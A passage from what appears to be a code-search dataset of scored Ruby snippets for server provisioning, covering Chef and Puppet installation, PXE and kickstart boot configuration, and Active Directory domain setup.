"text": "def install_repo!\n package 'apt-transport-https'\n include_recipe \"apt-chef::#{new_resource.channel}\"\n package 'chefdk' do\n version new_resource.version unless new_resource.version == 'latest'\n end\n end",
"title": ""
},
{
"docid": "32ca19211ccf77c9e22cac9069680387",
"score": "0.5302351",
"text": "def configure_ai_client_services(client_arch,publisher_host,publisher_port,service_name)\n puts\n puts \"You will be presented with a set of questions followed by the default output\"\n puts \"If you are happy with the default output simply hit enter\"\n puts\n service_list = []\n # Populate questions for AI manifest\n populate_ai_manifest_questions(publisher_host,publisher_port)\n # Process questions\n process_questions(service_name)\n # Set name of AI manifest file to create and import\n if service_name.match(/i386|sparc/)\n service_list[0] = service_name\n else\n service_list[0] = service_name+\"_i386\"\n service_list[1] = service_name+\"_sparc\"\n end\n service_list.each do |temp_name|\n output_file = $work_dir+\"/\"+temp_name+\"_ai_manifest.xml\"\n # Create manifest\n create_ai_manifest(output_file)\n # Import AI manifest\n import_ai_manifest(output_file,temp_name)\n end\n return\nend",
"title": ""
},
{
"docid": "569a735f74fb036affd319fbd2446024",
"score": "0.53006876",
"text": "def manager_key; :pacman end",
"title": ""
},
{
"docid": "d39cee12bf62f89bedee620b55dd0854",
"score": "0.5300253",
"text": "def param_service_full_name(options = {})\n merge_options_with_defaults(options, {\n :mandatory => true,\n :lookup_method => lambda do |request| \n @op.with_machine(request.get_param_value(\"machine\")) do |machine| \n localhost.list_services().map do |x|\n x[\"full_name\"]\n end\n end\n end \n })\n RHCP::CommandParam.new(\"service\", \"the service to work with\", options)\nend",
"title": ""
},
{
"docid": "421999992e9917a186e64106f5f8d581",
"score": "0.5284806",
"text": "def setup_dns(node)\n # Set up /etc/hosts\n node.vm.provision \"setup-hosts\", :type => \"shell\", :path => \"ubuntu/vagrant/setup-hosts.sh\" do |s|\n s.args = [\"enp0s8\", node.vm.hostname]\n end\n # Set up DNS resolution\n node.vm.provision \"setup-dns\", type: \"shell\", :path => \"ubuntu/update-dns.sh\"\nend",
"title": ""
},
{
"docid": "ae2b23f3fbc4d309480900e2e7d87020",
"score": "0.52825457",
"text": "def bi_service\n end",
"title": ""
},
{
"docid": "99a39488333b140c3f0dfb8ca93e6a6d",
"score": "0.52735937",
"text": "def get_helper(node)\n Chef::RemoteRecipe.factory(node)\n end",
"title": ""
},
{
"docid": "adbbec5bbd27d477566eef8748b8903c",
"score": "0.52687585",
"text": "def services\n\n end",
"title": ""
},
{
"docid": "0d987171dfac6d9ca457b0b5411cf371",
"score": "0.52660257",
"text": "def redhat_platform?(node = __getnode)\n node[\"platform\"] == \"redhat\"\n end",
"title": ""
},
{
"docid": "29d13f4814e11cb6a5ef00968ab716d5",
"score": "0.5258942",
"text": "def nexus\n return @nexus unless @nexus.nil?\n @nexus = Chef::Nexus.new(new_resource.url, new_resource.username, new_resource.password, new_resource.repository)\nend",
"title": ""
},
{
"docid": "53ee1543775ac56f9bbddd450e681f17",
"score": "0.5257671",
"text": "def role_dmtcpsnooze\n $myxp.get_deployed_nodes('capi5k-init')\nend",
"title": ""
},
{
"docid": "19ef983e877d0cc060a8479e641188a9",
"score": "0.5250662",
"text": "def enable\n debug \"Call 'enable' for Pacemaker service '#{name}' on node '#{hostname}'\"\n manage_primitive name\n end",
"title": ""
},
{
"docid": "cfe9a46f81e97fd2bc57042f1312728c",
"score": "0.52505106",
"text": "def _service_enabled?(service_type, certname)\n case service_type\n when 'file-sync-client','file-sync-storage'\n file_sync_enabled = hiera_lookup_for_node(certname, 'puppet_enterprise::profile::master::file_sync_enabled') || 'automatic'\n\n # File sync is forced on if code manager is enabled, so lookup if code manager is enabled\n code_manager_enabled = hiera_lookup_for_node(certname, 'puppet_enterprise::profile::master::code_manager_auto_configure') || false\n if code_manager_enabled || file_sync_enabled == true\n true\n else\n false\n end\n when 'code-manager'\n hiera_lookup_for_node(certname, 'puppet_enterprise::profile::master::code_manager_auto_configure') || false\n when 'orchestrator'\n enabled = hiera_lookup_for_node(certname, 'puppet_enterprise::profile::orchestrator::run_service')\n enabled.nil? ? true : enabled\n else\n true\n end\n end",
"title": ""
},
{
"docid": "0f919cf1482c8132c80eb887ff9b40d4",
"score": "0.5237526",
"text": "def actions_to_deploy_on(node, service, use_why_run: true)\n package_dir = \"#{@repository_path}/dist/#{@local_env ? 'local' : 'prod'}/#{service}\"\n # Generate the nodes attributes file\n unless @cmd_runner.dry_run\n FileUtils.mkdir_p \"#{package_dir}/nodes\"\n File.write(\"#{package_dir}/nodes/#{node}.json\", (known_nodes.include?(node) ? metadata_for(node) : {}).merge(@nodes_handler.metadata_of(node)).to_json)\n end\n client_options = [\n '--local-mode',\n '--chef-license', 'accept',\n '--json-attributes', \"nodes/#{node}.json\"\n ]\n client_options << '--why-run' if use_why_run\n if @nodes_handler.get_use_local_chef_of(node)\n # Just run the chef-client directly from the packaged repository\n [{ bash: \"cd #{package_dir} && #{@cmd_runner.root? ? '' : 'sudo '}SSL_CERT_DIR=/etc/ssl/certs /opt/chef-workstation/bin/chef-client #{client_options.join(' ')}\" }]\n else\n # Upload the package and run it from the node\n package_name = File.basename(package_dir)\n chef_versions_file = \"#{@repository_path}/chef_versions.yml\"\n raise \"Missing file #{chef_versions_file} specifying the Chef Infra Client version to be deployed\" unless File.exist?(chef_versions_file)\n\n required_chef_client_version = YAML.load_file(chef_versions_file)['client']\n sudo = (@actions_executor.connector(:ssh).ssh_user == 'root' ? '' : \"#{@nodes_handler.sudo_on(node)} \")\n [\n {\n # Install dependencies\n remote_bash: [\n 'set -e',\n 'set -o pipefail',\n \"if [ -n \\\"$(command -v apt)\\\" ]; then #{sudo}apt update && #{sudo}apt install -y curl build-essential ; else #{sudo}yum groupinstall 'Development Tools' && #{sudo}yum install -y curl ; fi\",\n 'mkdir -p ./hpc_deploy',\n 'rm -rf ./hpc_deploy/tmp',\n 'mkdir -p ./hpc_deploy/tmp',\n 'curl --location https://omnitruck.chef.io/install.sh --output ./hpc_deploy/install.sh',\n 'chmod a+x ./hpc_deploy/install.sh',\n \"#{sudo}TMPDIR=./hpc_deploy/tmp ./hpc_deploy/install.sh -d /opt/artefacts -v #{required_chef_client_version} -s once\"\n ]\n },\n {\n scp: { package_dir => './hpc_deploy' },\n remote_bash: [\n 'set -e',\n \"cd ./hpc_deploy/#{package_name}\",\n \"#{sudo}SSL_CERT_DIR=/etc/ssl/certs /opt/chef/bin/chef-client #{client_options.join(' ')}\",\n 'cd ..'\n ] + (log_debug? ? [] : [\"#{sudo}rm -rf ./hpc_deploy/#{package_name}\"])\n }\n ]\n end\n end",
"title": ""
},
{
"docid": "e30afa502e51d24a92dc5e26dea94e2a",
"score": "0.5235196",
"text": "def load_cloudflare_cookbook_gems\n return if defined? @@cloudflare_cookbook_gems_loaded\n chef_gem 'cloudflare' do\n action :install\n version '2.0.1'\n end\n require 'resolv'\n require 'cloudflare'\n @@cloudflare_cookbook_gems_loaded = true\nend",
"title": ""
},
{
"docid": "3bb2570f6050a0e966bc225d831bb966",
"score": "0.5233329",
"text": "def services\n end",
"title": ""
},
{
"docid": "b12130336160546cfca7e6909ce1f608",
"score": "0.52307713",
"text": "def dot_service( shortname )\n shortname + \".service\"\n end",
"title": ""
},
{
"docid": "32f605fd9b1321c57724a4da470ae777",
"score": "0.5217815",
"text": "def configure_vs_pxe_client(client_name,client_mac,service_name)\n tftp_pxe_file = client_mac.gsub(/:/,\"\")\n tftp_pxe_file = tftp_pxe_file.upcase\n tftp_boot_file = \"boot.cfg.01\"+tftp_pxe_file\n tftp_pxe_file = \"01\"+tftp_pxe_file+\".pxelinux\"\n test_file = $tftp_dir+\"/\"+tftp_pxe_file\n if !File.exists?(test_file)\n pxelinux_file = service_name+\"/usr/share/syslinux/pxelinux.0\"\n message = \"Creating:\\tPXE boot file for \"+client_name+\" with MAC address \"+client_mac\n command = \"cd #{$tftp_dir} ; ln -s #{pxelinux_file} #{tftp_pxe_file}\"\n execute_command(message,command)\n end\n pxe_cfg_dir = $tftp_dir+\"/pxelinux.cfg\"\n pxe_cfg_file = client_mac.gsub(/:/,\"-\")\n pxe_cfg_file = \"01-\"+pxe_cfg_file\n pxe_cfg_file = pxe_cfg_file.downcase\n pxe_cfg_file = pxe_cfg_dir+\"/\"+pxe_cfg_file\n ks_url = \"http://\"+$default_host+\"/\"+service_name+\"/\"+client_name+\".cfg\"\n mboot_file = \"/\"+service_name+\"/mboot.c32\"\n if $verbose_mode == 1\n puts \"Creating:\\tMenu config file \"+pxe_cfg_file\n end\n file = File.open(pxe_cfg_file,\"w\")\n if $serial_mode == 1\n file.write(\"serial 0 115200\\n\")\n end\n file.write(\"DEFAULT ESX\\n\")\n file.write(\"LABEL ESX\\n\")\n file.write(\"KERNEL #{mboot_file}\\n\")\n if $text_mode == 1\n if $serial_mode == 1\n file.write(\"APPEND -c #{tftp_boot_file} text gdbPort=none logPort=none tty2Port=com1 ks=#{ks_url} +++\\n\")\n else\n file.write(\"APPEND -c #{tftp_boot_file} text ks=#{ks_url} +++\\n\")\n end\n else\n file.write(\"APPEND -c #{tftp_boot_file} ks=#{ks_url} +++\\n\")\n end\n file.write(\"IPAPPEND 1\\n\")\n file.close\n if $verbose_mode == 1\n puts \"Created:\\tPXE menu file \"+pxe_cfg_file+\":\"\n system(\"cat #{pxe_cfg_file}\")\n end\n tftp_boot_file=$tftp_dir+\"/\"+tftp_boot_file\n esx_boot_file=$tftp_dir+\"/\"+service_name+\"/boot.cfg\"\n if $verbose_mode == 1\n puts \"Creating:\\tBoot config file \"+tftp_boot_file\n end\n copy=[]\n file=IO.readlines(esx_boot_file)\n file.each do |line|\n line=line.gsub(/\\//,\"\")\n if $text_mode == 1\n if line.match(/^kernelopt/)\n if !line.match(/text/)\n line = line.chomp+\" text\\n\"\n end\n end\n end\n if $serial_mode == 1\n if line.match(/^kernelopt/)\n if !line.match(/nofb/)\n line = line.chomp+\" nofb com1_baud=115200 com1_Port=0x3f8 tty2Port=com1 gdbPort=none logPort=none\\n\"\n end\n end\n end\n if line.match(/^title/)\n copy.push(line)\n copy.push(\"prefix=#{service_name}\\n\")\n else\n copy.push(line)\n end\n end\n File.open(tftp_boot_file,\"w\") {|file_data| file_data.puts copy}\n if $verbose_mode == 1\n puts \"Created:\\tBoot config file \"+tftp_boot_file+\":\"\n system(\"cat #{tftp_boot_file}\")\n end\n return\nend",
"title": ""
},
{
"docid": "b1a2b7e123024c8b3b53174502681cde",
"score": "0.52142346",
"text": "def integrate_with_systemd; end",
"title": ""
},
{
"docid": "6b36d7f4d1b1ec4aaf59ec67a6c83179",
"score": "0.5200993",
"text": "def content\n return <<-EOF\ndefault lucie\n\nlabel lucie\nkernel #{ INSTALLER_KERNEL }\nappend initrd=#{ initrd } ip=dhcp devfs=nomount root=/dev/nfs nfsroot=#{ @nfsroot } boot=live hostname=#{ @node.name } #{ $KERNEL_OPTIONS }\nEOF\n end",
"title": ""
},
{
"docid": "8be94e5858a5c379317be65e69f73cf6",
"score": "0.51909864",
"text": "def services\n\tend",
"title": ""
},
{
"docid": "1e497c961b72882a6f80dc0458b86d90",
"score": "0.5184586",
"text": "def deployable_services\n # This info is taken by listing existing bash scripts\n Dir.glob(\"#{repository_path}/install-*.bash\").map { |file| File.basename(file).match(/install-(.*)\\.bash/)[1] }\n end",
"title": ""
},
{
"docid": "67e3104a86b6ecaf802f064fed77fc2e",
"score": "0.51818115",
"text": "def get_install_client\n purge\n s('cd /tmp')\n s('wget https://apt.puppetlabs.com/puppetlabs-release-trusty.deb')\n s('sudo apt-get update')\n s('sudo apt-get -y install puppet')\nend",
"title": ""
},
{
"docid": "2bcaba99f29d1e1749640e7ac7a80a8c",
"score": "0.5178898",
"text": "def run\n _log \"Enriching... Network Service: #{_get_entity_name}\"\n\n enrich_ftp if _get_entity_detail(\"service\") == \"FTP\"\n enrich_snmp if _get_entity_detail(\"service\") == \"SNMP\"\n\n end",
"title": ""
},
{
"docid": "321f428d5a0c682c53dc681a9ba36af6",
"score": "0.5173953",
"text": "def whats_my_node_group(data={}, service_delimeter=\":\")\n env = data[:env]\n runway = data[:runway]\n if data[:product] == \"shared\" or data[:product] == \"\"\n product = nil\n else\n product = data[:product]\n end\n service = data[:service]\n env_prod = [env, runway, product].compact.join(\"-\")\n env_prod = nil if env_prod.empty?\n node_group = [env_prod, service].compact.join(service_delimeter)\n return node_group\n end",
"title": ""
},
{
"docid": "5ffb351f01726fe2982f867f80555e76",
"score": "0.5172982",
"text": "def delivery_chef_server\n DeliveryTruck::Helpers.delivery_chef_server(node)\n end",
"title": ""
},
{
"docid": "07477e8e6ce184b4d6b17b68064aadd2",
"score": "0.51669693",
"text": "def service_nasi!()\n @service = TAC_PLUS_AUTHEN_SVC_NASI\n end",
"title": ""
},
{
"docid": "dc06e17ee9cb46d33ca19297f3d1d74a",
"score": "0.51651627",
"text": "def default_authoritative_config_directory\n case node['platform_family']\n when 'debian'\n '/etc/powerdns'\n when 'rhel'\n '/etc/pdns'\n end\nend",
"title": ""
},
{
"docid": "d5691476fc076794171d5fa8f8b030da",
"score": "0.51562715",
"text": "def services_for(node)\n [json_for(node)['policy_name']]\n end",
"title": ""
},
{
"docid": "c754ffaac04bea10ccfeafbfe481d254",
"score": "0.5152614",
"text": "def packages_providing(component)\n matches = []\n `yum provides #{component}`.each_line { |l|\n matches << $1 if l =~ /(.*)\\.fc.*/\n }\n matches\nend",
"title": ""
},
{
"docid": "f97397552e73a90f52b09bdaf97e6d34",
"score": "0.5148325",
"text": "def create_domain\n unless domain_exists?\n require 'chef/win32/version'\n version = Chef::ReservedNames::Win32::Version.new\n\n Chef::Log.info(\"Configuring network interface settings and creating domain\")\n if version.windows_server_2012?\n code =<<-EOH\n#{network_interface_code}\n\t\t\t\t$DCPromoFile = @\"\n\t\t\t\t[DCINSTALL]\n\t\t\t\tInstallDNS=yes\n\t\t\t\tNewDomain=forest\n\t\t\t\tNewDomainDNSName=#{new_resource.dns_name}\n\t\t\t\tDomainNetBiosName=#{new_resource.netbios_name}\n\t\t\t\tSiteName=#{new_resource.site_name}\n\t\t\t\tReplicaorNewDomain=domain\n\t\t\t\tForestLevel=5\n\t\t\t\tDomainLevel=5\n\t\t\t\tConfirmGC=Yes\n\t\t\t\tSafeModeAdminPassword=\"#{new_resource.restore_mode_password}\"\n\t\t\t\tRebootonCompletion=Yes\n\t\t\t\t\"@\n\t\t\t\t$DCPromoFile | out-file c:/dcpromoanswerfile.txt -Force\n\t\t\t\tdcpromo.exe /unattend:c:/dcpromoanswerfile.txt\n EOH\n elsif version.windows_server_2012_r2?\n code =<<-EOH\n#{network_interface_code}\n\t\t\t\tInstall-ADDSForest -DomainName #{new_resource.dns_name} -SafeModeAdministratorPassword (convertto-securestring '#{new_resource.restore_mode_password}' -asplaintext -force) -DomainMode Win2012R2 -DomainNetbiosName #{new_resource.netbios_name} -ForestMode Win2012R2 -Confirm:$false -Force\n\t\t\t\tStop-Process -ProcessName sshd -force -ErrorAction SilentlyContinue\n EOH\n # cmd = powershell_out(\"Install-ADDSForest -DomainName #{new_resource.dns_name} -SafeModeAdministratorPassword (convertto-securestring '#{new_resource.restore_mode_password}' -asplaintext -force) -DomainMode Win2012R2 -DomainNetbiosName #{new_resource.netbios_name} -ForestMode Win2012R2 -Confirm:$false -Force\")\n end\n Chef::Log.info(\"Creating Active Directory Domain #{new_resource.dns_name}\")\n cmd = powershell_out(code)\n kill_ssh\n Chef::Application.fatal!(\"Failed to create Active Directory Domain #{new_resource.dns_name}\") if cmd.exitstatus != 0\n reboot \"Active Directory Domain #{new_resource.dns_name} created\" do\n action :reboot_now\n reason \"Active Directory Domain #{new_resource.dns_name} created\"\n end\n end\nend",
"title": ""
},
{
"docid": "a452826aec74677e577b54d1901216f7",
"score": "0.5146748",
"text": "def install_in_redhat(os, version)\n install_repo_rpms(os, version)\n install_package 'collectd'\n install_package 'collectd-disk'\nend",
"title": ""
},
{
"docid": "c79a0073c3ccec26569081b0edccdaa4",
"score": "0.5146033",
"text": "def centos?(node)\n node['platform'] == 'centos'\n end",
"title": ""
},
{
"docid": "28de27448163cb5c31899672190f12dd",
"score": "0.51437616",
"text": "def node_basic_config(node)\n\t\tconfig, service = lib('requirements'), lib('services')\n\t\t{'name' => node, 'selenium-version' => config[\"selenium\"][\"version\"], 'kickstart' => service[\"kickstart-server\"]}\n\tend",
"title": ""
},
{
"docid": "07d8484ff61dcf7a710cdca650911915",
"score": "0.5133459",
"text": "def application_provider\n Chef::Provider::ApplicationBase\n end",
"title": ""
},
{
"docid": "543a08ccbe8675f0834a300d2fcf8aaf",
"score": "0.513013",
"text": "def delivery_chef_server(node)\n server_details = {}\n ::Chef_Delivery::ClientHelper.enter_client_mode_as_delivery\n server_details[:chef_server_url] = Chef::Config[:chef_server_url]\n server_details[:options] = {\n client_name: ::Chef::Config[:node_name],\n signing_key_filename: ::Chef::Config[:client_key]\n }\n ::Chef_Delivery::ClientHelper.leave_client_mode_as_delivery\n server_details\n end",
"title": ""
},
{
"docid": "bfb985c2f1f160a0a8bccc13f3b76256",
"score": "0.5124906",
"text": "def configure_ks_pxe_client(options)\n options['ip'] = single_install_ip(options)\n tftp_pxe_file = options['mac'].gsub(/:/,\"\")\n tftp_pxe_file = tftp_pxe_file.upcase\n tftp_pxe_file = \"01\"+tftp_pxe_file+\".pxelinux\"\n test_file = options['tftpdir']+\"/\"+tftp_pxe_file\n tmp_file = \"/tmp/pxecfg\"\n if File.symlink?(test_file)\n message = \"Information:\\tRemoving old PXE boot file \"+test_file\n command = \"rm #{test_file}\"\n execute_command(options,message,command)\n end\n pxelinux_file = \"pxelinux.0\"\n message = \"Information:\\tCreating PXE boot file for \"+options['name']+\" with MAC address \"+options['mac']\n command = \"cd #{options['tftpdir']} ; ln -s #{pxelinux_file} #{tftp_pxe_file}\"\n execute_command(options,message,command)\n if options['service'].to_s.match(/live/)\n iso_dir = options['tftpdir']+\"/\"+options['service']\n message = \"Information:\\tDetermining install ISO location\"\n command = \"ls #{iso_dir}/*.iso\"\n iso_file = execute_command(options,message,command) \n iso_file = iso_file.chomp\n install_iso = File.basename(iso_file)\n end\n if options['biostype'].to_s.match(/efi/)\n shim_efi_file = \"/usr/lib/shim/shimx64.efi\"\n if !File.exist?(shim_efi_file)\n install_package(options,\"shim\")\n end\n shim_grub_file = options['tftpdir']+\"/shimx64.efi\"\n net_efi_file = \"/usr/lib/grub/x86_64-efi/monolithic/grubnetx64.efi\"\n if !File.exist?(net_efi_file)\n install_package(options,\"grub-efi-amd64-bin\")\n end\n net_grub_file = options['tftpdir']+\"/grubx64.efi\"\n check_dir_exists(options,options['tftpdir'])\n check_dir_owner(options,options['tftpdir'],options['uid'])\n if !File.exist?(shim_efi_file)\n install_package(options,\"shim-signed\")\n end\n if !File.exist?(net_efi_file)\n install_package(options,\"grub-efi-amd64-signed\")\n end\n if !File.exist?(shim_grub_file)\n message = \"Information:\\tCopying #{shim_efi_file} to #{shim_grub_file}\"\n command = \"cp #{shim_efi_file} #{shim_grub_file}\"\n execute_command(options,message,command)\n check_file_owner(options,shim_grub_file,options['uid'])\n end\n if !File.exist?(net_grub_file)\n message = \"Information:\\tCopying #{net_efi_file} to #{net_grub_file}\"\n command = \"cp #{net_efi_file} #{net_grub_file}\"\n execute_command(options,message,command)\n check_file_owner(options,net_grub_file,options['uid'])\n end\n tmp_cfg_octs = options['ip'].split(\".\")\n pxe_cfg_octs = [] \n tmp_cfg_octs.each do |octet|\n hextet = octet.convert_base(10, 16)\n if hextet.length < 2\n hextet = \"0\"+hextet\n end\n pxe_cfg_octs.push(hextet.upcase) \n end\n pxe_cfg_txt = pxe_cfg_octs.join\n pxe_cfg_file = \"grub.cfg-\"+pxe_cfg_txt\n pxe_cfg_dir = options['tftpdir']+\"/grub\"\n check_dir_exists(options,pxe_cfg_dir)\n check_dir_owner(options,pxe_cfg_dir,options['uid'])\n pxe_cfg_file = pxe_cfg_dir+\"/\"+pxe_cfg_file\n else\n pxe_cfg_dir = options['tftpdir']+\"/pxelinux.cfg\"\n pxe_cfg_file = options['mac'].gsub(/:/,\"-\")\n pxe_cfg_file = \"01-\"+pxe_cfg_file\n pxe_cfg_file = pxe_cfg_file.downcase\n pxe_cfg_file = pxe_cfg_dir+\"/\"+pxe_cfg_file\n end\n if options['service'].to_s.match(/sles/)\n vmlinuz_file = \"/\"+options['service']+\"/boot/#{options['arch']}/loader/linux\"\n else\n if options['service'].to_s.match(/live/)\n vmlinuz_file = \"/\"+options['service']+\"/casper/vmlinuz\"\n else\n vmlinuz_file = \"/\"+options['service']+\"/images/pxeboot/vmlinuz\"\n end\n end\n if options['service'].to_s.match(/ubuntu/)\n if options['service'].to_s.match(/live/)\n initrd_file = \"/\"+options['service']+\"/casper/initrd\"\n else\n if options['service'].to_s.match(/x86_64/)\n initrd_file = \"/\"+options['service']+\"/images/pxeboot/netboot/ubuntu-installer/amd64/initrd.gz\"\n linux_file = \"/\"+options['service']+\"/images/pxeboot/netboot/ubuntu-installer/amd64/linux\"\n else\n initrd_file = \"/\"+options['service']+\"/images/pxeboot/netboot/ubuntu-installer/i386/initrd.gz\"\n end\n end\n ldlinux_link = options['tftpdir']+\"/ldlinux.c32\"\n if not File.exist?(ldlinux_link) and not File.symlink?(ldlinux_link)\n ldlinux_file = options['service']+\"/images/pxeboot/netboot/ldlinux.c32\"\n message = \"Information:\\tCreating symlink for ldlinux.c32\"\n command = \"ln -s #{ldlinux_file} #{ldlinux_link}\"\n execute_command(options,message,command)\n end\n else\n if options['service'].to_s.match(/sles/)\n initrd_file = \"/\"+options['service']+\"/boot/#{options['arch']}/loader/initrd\"\n else\n initrd_file = \"/\"+options['service']+\"/images/pxeboot/initrd.img\"\n end\n end\n if options['host-os-name'].to_s.match(/Darwin/)\n vmlinuz_file = vmlinuz_file.gsub(/^\\//,\"\")\n initrd_file = initrd_file.gsub(/^\\//,\"\")\n end\n if options['service'].to_s.match(/packer/)\n host_info = options['vmgateway']+\":\"+options['httpport']\n else\n host_info = options['hostip']\n end\n #ks_url = \"http://\"+host_info+\"/clients/\"+options['service']+\"/\"+options['name']+\"/\"+options['name']+\".cfg\"\n #autoyast_url = \"http://\"+host_info+\"/clients/\"+options['service']+\"/\"+options['name']+\"/\"+options['name']+\".xml\"\n base_url = \"http://\"+options['hostip']+\"/\"+options['name']\n if options['service'].to_s.match(/live/)\n iso_url = \"http://\"+options['hostip']+\"/\"+options['service']+\"/\"+install_iso\n end\n ks_url = \"http://\"+options['hostip']+\"/\"+options['name']+\"/\"+options['name']+\".cfg\"\n autoyast_url = \"http://\"+options['hostip']+\"/\"+options['name']+\"/\"+options['name']+\".xml\"\n install_url = \"http://\"+host_info+\"/\"+options['service']\n file = File.open(tmp_file,\"w\")\n if options['biostype'].to_s.match(/efi/)\n menuentry = \"menuentry \\\"\"+options['name']+\"\\\" {\\n\"\n file.write(menuentry)\n else\n if options['serial'] == true\n file.write(\"serial 0 115200\\n\")\n file.write(\"prompt 0\\n\")\n end\n file.write(\"DEFAULT LINUX\\n\")\n file.write(\"LABEL LINUX\\n\")\n file.write(\" KERNEL #{vmlinuz_file}\\n\")\n if options['service'].to_s.match(/live/)\n file.write(\" INITRD #{initrd_file}\\n\")\n end\n end\n if options['service'].to_s.match(/ubuntu/)\n options['ip'] = options['q_struct']['ip'].value\n install_domain = options['q_struct']['domain'].value\n install_nic = options['q_struct']['nic'].value\n options['vmgateway'] = options['q_struct']['gateway'].value\n options['netmask'] = options['q_struct']['netmask'].value\n options['vmnetwork'] = options['q_struct']['network_address'].value\n disable_dhcp = options['q_struct']['disable_dhcp'].value\n if disable_dhcp.match(/true/)\n if options['biostype'].to_s.match(/efi/)\n if options['service'].to_s.match(/live/)\n linux_file = \"/\"+options['service'].to_s+\"/casper/vmlinuz\"\n initrd_file = \"/\"+options['service'].to_s+\"/casper/initrd\"\n if options['biosdevnames'] == true\n append_string = \" linux #{linux_file} net.ifnames=0 biosdevname=0 root=/dev/ram0 ramdisk_size=1500000 ip=dhcp url=#{iso_url} autoinstall ds=nocloud-net;s=#{base_url}/\"\n else\n append_string = \" linux #{linux_file} root=/dev/ram0 ramdisk_size=1500000 ip=dhcp url=#{iso_url} autoinstall ds=nocloud-net;s=#{base_url}/\"\n end\n initrd_string = \" initrd #{initrd_file}\"\n else\n if options['biosdevnames'] == true\n append_string = \" linux #{linux_file} --- auto=true priority=critical preseed/url=#{ks_url} console-keymaps-at/keymap=us locale=en_US hostname=#{options['name']} domain=#{install_domain} interface=#{install_nic} grub-installer/bootdev=#{options['rootdisk']} netcfg/get_ipaddress=#{options['ip']} netcfg/get_netmask=#{options['netmask']} netcfg/get_gateway=#{options['vmgateway']} netcfg/get_nameservers=#{options['nameserver']} netcfg/disable_dhcp=true initrd=#{initrd_file} net.ifnames=0 biosdevname=0\"\n else\n append_string = \" linux #{linux_file} --- auto=true priority=critical preseed/url=#{ks_url} console-keymaps-at/keymap=us locale=en_US hostname=#{options['name']} domain=#{install_domain} interface=#{install_nic} grub-installer/bootdev=#{options['rootdisk']} netcfg/get_ipaddress=#{options['ip']} netcfg/get_netmask=#{options['netmask']} netcfg/get_gateway=#{options['vmgateway']} netcfg/get_nameservers=#{options['nameserver']} netcfg/disable_dhcp=true initrd=#{initrd_file}\"\n end\n initrd_string = \" initrd #{initrd_file}\"\n end\n else\n if options['service'].to_s.match(/live/)\n if options['biosdevnames'] == true\n append_string = \" APPEND root=/dev/ram0 ramdisk_size=1500000 ip=dhcp url=#{iso_url} autoinstall ds=nocloud-net;s=#{base_url}/ net.ifnames=0 biosdevname=0\"\n else\n append_string = \" APPEND root=/dev/ram0 ramdisk_size=1500000 ip=dhcp url=#{iso_url} autoinstall ds=nocloud-net;s=#{base_url}/\"\n end\n else\n if options['biosdevnames'] == true\n append_string = \" APPEND auto=true priority=critical preseed/url=#{ks_url} console-keymaps-at/keymap=us locale=en_US hostname=#{options['name']} domain=#{install_domain} interface=#{install_nic} grub-installer/bootdev=#{options['rootdisk']} netcfg/get_ipaddress=#{options['ip']} netcfg/get_netmask=#{options['netmask']} netcfg/get_gateway=#{options['vmgateway']} netcfg/get_nameservers=#{options['nameserver']} netcfg/disable_dhcp=true initrd=#{initrd_file} net.ifnames=0 biosdevname=0\"\n else\n append_string = \" APPEND auto=true priority=critical preseed/url=#{ks_url} console-keymaps-at/keymap=us locale=en_US hostname=#{options['name']} domain=#{install_domain} interface=#{install_nic} grub-installer/bootdev=#{options['rootdisk']} netcfg/get_ipaddress=#{options['ip']} netcfg/get_netmask=#{options['netmask']} netcfg/get_gateway=#{options['vmgateway']} netcfg/get_nameservers=#{options['nameserver']} netcfg/disable_dhcp=true initrd=#{initrd_file}\"\n end\n end\n end\n else\n append_string = \" APPEND \"\n end\n else\n if options['service'].to_s.match(/sles/)\n if options['biosdevnames'] == true\n append_string = \" APPEND initrd=#{initrd_file} install=#{install_url} autoyast=#{autoyast_url} language=#{options['language']} net.ifnames=0 biosdevname=0\"\n else\n append_string = \" APPEND initrd=#{initrd_file} install=#{install_url} autoyast=#{autoyast_url} language=#{options['language']}\"\n end\n else\n if options['service'].to_s.match(/fedora_2[0-3]/)\n if options['biosdevnames'] == true\n append_string = \" APPEND initrd=#{initrd_file} ks=#{ks_url} ip=#{options['ip']} netmask=#{options['netmask']} net.ifnames=0 biosdevname=0\"\n else\n append_string = \" APPEND initrd=#{initrd_file} ks=#{ks_url} ip=#{options['ip']} netmask=#{options['netmask']}\"\n end\n else\n if options['service'].to_s.match(/live/)\n if options['biosdevnames'] == true\n append_string = \" APPEND net.ifnames=0 biosdevname=0 root=/dev/ram0 ramdisk_size=1500000 ip=dhcp url=#{iso_url}\"\n else\n append_string = \" APPEND root=/dev/ram0 ramdisk_size=1500000 ip=dhcp url=#{iso_url}\"\n end\n else \n if options['biosdevnames'] == true\n append_string = \" APPEND initrd=#{initrd_file} ks=#{ks_url} ksdevice=bootif ip=#{options['ip']} netmask=#{options['netmask']} net.ifnames=0 biosdevname=0\"\n else\n append_string = \" APPEND initrd=#{initrd_file} ks=#{ks_url} ksdevice=bootif ip=#{options['ip']} netmask=#{options['netmask']}\"\n end\n end\n end\n end\n end\n if options['text'] == true\n if options['service'].to_s.match(/sles/)\n append_string = append_string+\" textmode=1\"\n else\n append_string = append_string+\" text\"\n end\n end\n if options['serial'] == true\n append_string = append_string+\" serial console=ttyS0\"\n end\n append_string = append_string+\"\\n\"\n file.write(append_string)\n if options['biostype'].to_s.match(/efi/)\n initrd_string = initrd_string+\"\\n\"\n file.write(initrd_string)\n file.write(\"}\\n\")\n end\n file.flush\n file.close\n if options['biostype'].to_s.match(/efi/)\n grub_file = pxe_cfg_dir+\"/grub.cfg\"\n if File.exist?(grub_file)\n File.delete(grub_file)\n end\n FileUtils.touch(grub_file)\n grub_file = File.open(grub_file, \"w\")\n file_list = Dir.entries(pxe_cfg_dir)\n file_list.each do |file_name|\n if file_name.match(/cfg\\-/) and !file_name.match(/#{options['name'].to_s}/)\n temp_file = pxe_cfg_dir+\"/\"+file_name\n temp_array = File.readlines(temp_file)\n temp_array.each do |temp_line|\n grub_file.write(temp_line)\n end\n end\n end\n menuentry = \"menuentry \\\"\"+options['name']+\"\\\" {\\n\"\n grub_file.write(menuentry)\n grub_file.write(append_string)\n grub_file.write(initrd_string)\n grub_file.write(\"}\\n\")\n grub_file.flush\n grub_file.close\n grub_file = pxe_cfg_dir+\"/grub.cfg\"\n FileUtils.touch(grub_file)\n print_contents_of_file(options,\"\",grub_file)\n end\n message = \"Information:\\tCreating PXE configuration file \"+pxe_cfg_file\n command = \"cp #{tmp_file} #{pxe_cfg_file} ; rm #{tmp_file}\"\n execute_command(options,message,command)\n print_contents_of_file(options,\"\",pxe_cfg_file)\n 